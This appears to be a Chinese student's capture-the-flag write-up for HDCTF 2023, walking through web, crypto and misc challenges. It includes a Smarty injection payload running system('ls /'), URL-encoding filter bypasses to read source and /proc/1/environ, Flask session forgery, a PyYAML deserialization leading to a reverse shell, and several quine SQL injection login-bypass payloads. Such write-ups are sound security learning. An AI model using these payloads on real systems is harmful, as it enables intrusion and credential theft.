HDCTF 2023(省内赛道) 部分WP
最终排名第七吧 web狗表示web后面几道真的很难,目前刷题还没有做到后几道题目的类型,所以后半阶段真的在坐牢,还是太菜了,努力!!!
Web
Welcome To HDCTF 2023
解一:
直接送死
解二:
直接输入在console中输入seeeeeeeecret就能拿到
SearchMaster
这题拿了一血 开心qwq
一眼丁真 php的smarty注入
构造payload:
1 | data={if system('ls /')}{/if} |
Crypto
Normal_Rsa
应该是题目出问题了 打开题目flag就有
Misc
hardMisc
也是拿到一个一血
拖进010一把梭
末尾 base64解码拿到flag
复现:
YamiYami
一道关于session伪造 yaml(一开始一直在搜yami反序列化 还在想为什么搜不到相关文章 真该死啊我)反序列化 shell反弹的题目
借助这道题目好好学习一下yami漏洞和shell反弹
进入题目后能看到有三个路由 /read
是用来读文件的 /upload
是用来上传我们的恶意代码文件的 /pwd
字面意思就是告诉我们当前在哪个文档中
当时做题的时候还以为这道题目难度应该不会很难 还以为是很基础的上传一句话木马去包含然后getshell 看了wp真的怀疑人生
非预期
先说说非预期吧 直接读取环境变量就可以了 我当时也是这么想的 但是我纯脑瘫去读linux系统用户环境信息了
而且题目环境应该是在docker下
一开始一直在读/etc/profile
/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置。
根本没什么用
应该读环境变量/proc/1/environ
(详细可参考:https://blog.csdn.net/FY_2018/article/details/112986445)
预期:
上传一个yami反序列化文件 然后反弹shell去打
首先先去读源文件 发现做flask的题目 能get到源代码就去努力!
这里用到了python3解析特性
如果直接构造payload/read?url=file:///app.py
flag字样也被正则了
发现是不行的 被过滤了
这里用到了python3的字符解析特性通过双重url编码(全字符)去绕过
拿到源码
源码:
1 | #encoding:utf-8 |
发现还有一个/boogipop
路由
1 | @app.route('/boogipop') |
当session="Welcome To HDCTF2023"
通过get方式去读文件 也就是说还需要session伪造
伪造需要key 那么看源码是怎么生成的
1 | random.seed(uuid.getnode()) |
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
/sys/class/net/eth0/address
,这个就是网卡的位置,读取他进行伪造
1 | import random |
得到key为33.893457812509084
通过脚本伪造session
然后yaml.full_load(f)
就是漏洞所在点他会将我们上传的恶意文件内容反序列化 并且代码中并没有回显的语句也暗示了这里要通过反弹shell的方式去打(这里参考这篇大佬的文章太细了 https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/)
上传反序列化文件
1 | !!python/object/new:str |
至于为什么上面大佬的文章讲的很仔细 我就不献丑了 自己太菜了
简单理解就是python将命令执行的代码塞入了对象中然后yaml序列化得到这个 然后再利用反序列化去命令执行 看起来比较奇怪是因为这种格式是属于yaml形式的序列化对象 所以看起来比较的陌生 还有就是这里的命令执行是用反弹shell 是因为通过看源码发现没有回显的代码 所以只能通过反弹shell去变相得到回显
然后将文件命名为2.txt 这里不能用.yaml
后缀被屏蔽了
既然是txt后缀为什么代码会被执行呢
这里借用大佬的理解:
猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进
制文件,所以不管是什么后缀都无关紧要了
上传上去
然后去/boogipop
路由下去读取,然后反弹shell
这里文件路径是uplaods/2.txt
大佬文章也提到了
不要在意这里为什么bp报错 nc能连通就行
反弹shell成功
再来说说反弹shell
这里就说说我的理解,不会去将所有概念一字不漏的打出来,我觉得没必要,理解是最棒的,想看概念随时都可以百度,但是唯独理解是检测自己是否对于一个知识点真的理解了
我们一般主动攻击去连接某个电脑,叫做正向连接,一般知道这个电脑一些信息ip之类的,知道它何时在做什么
但是如果我们不知道这台电脑信息ip什么的,或者此时此刻的状态,就叫薛定谔状态吧(bushi,就没法去连接去攻击 那么应该怎么办呢?
这里就用到了反弹shell 何为反弹?
既然我们不知道对方的状态 但是我们知道我们的状态信息 我们可以提供我们自己的一些信息去让对方找到我们然后连接不就行了?
这里可以这么形象的比喻:
简单的说,就是我送了小明一份礼物,小明收到了,看见礼物里面写着xxx大街xxx户xxx号领取(木马),小明去了敲门(打开木马,反弹shell),我开门把他拉进来(netcat),这样我就有了他的支配权,他的操作就被我控制了。
来自一个b站网友 我觉得很形象能理解反弹shell的概念
既然是对方找到我们,就需要用公网ip,我们物理机的ip都是一个局域网分配的,真实ip都掌握在运营商手里
这里就需要用到vps或者在大厂买云服务即可,当然也不影响我白嫖室友的云服务器:)
以上只是我浅薄的理解,可以参考这篇文章深入理解:https://xz.aliyun.com/t/9488
然后我简单总结了一下一些常用的反弹shell的exp:
1 | 1.nc |
回到题目,发现没有关于flag的文件,所以还是通过读取环境变量来读flag,结束。
LoginMaster
这道题 我的评价是寄,刷题没刷到过这样的注入——quine注入,还有时间盲注也还没有开始学借助此次机会学习学习
首先日常先看/robots.txt
发现了waf
看到waf后我就陷入了沉思,我能想到的payload所包含的几乎都河蟹了个遍,这还怎么玩,就放弃了
看了wp要用时间盲注和quine组合拳去打
其实看了waf 这段代码也大概能感觉到是quine注入
这里就是需要我们输入的密码与查询到的密码相等
1 | if ($row['password'] === $password) { |
说简单一点,quine注入就是输入与输出完全相同 自产生程序也就是说就是输入的sql语句与要输出的一致
用到replace()函数
如果输入 replace(".",char(46),".")
则会输出 .
如果输入 replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")')
则会用第三个参数去替换第一个参数中的所有.
但是此时就会发现一个问题 我们输入与输出并不是完全相同的
我们输入的单引号在输出语句里都是双引号
因此 需要在repalce里面再嵌套一个replace来让双引号转成单引号
1 | replace(replace(".",char(34),char(39)),char(46),".") |
用上面的式子替换所有的.
1 | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
就会发现输入与输出完全相等
回到题目 因为屏蔽了空格用()
嵌套或者/**/
绕过都行
payload:1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
分析:
1'UNION(SELECT(REPLACE(A,CHAR(37),B)))
用B替换%,%这个符号应该是任意的后续替换时变成相应的char就行
A:REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39))
双引号换为单引号->替换%->双引号换为单引号
1 | B:'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#' |
双引号换位单引号->替换%
提供三种payload吧,以后如果再遇到这样的题目也能拿来直接用
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
第一个payload与第二个payload之间的差距:为第一个与union之间有空格,第二个无,本质上两个payload无区别
注意sql中为char()而不是chr() 网上payload需要转换
搞定:
至于时间盲注这个坑,以后遇到经典题型借助题目来总结吧,这里插个眼先:)
还有两道java题目就不复现了,java还是我没有解锁的领域,复现起来也很吃力,之后系统开始学java之后再来复现填坑吧。
小尾巴
这次打完省赛(校赛bushi)虽然很水,但是成功爬进了学校的实验室,也算是一段时间的努力总算有了成果吧,进了实验室才是刚刚开始,自身还是有很多不足,需要继续努力,继续奋斗,干巴得!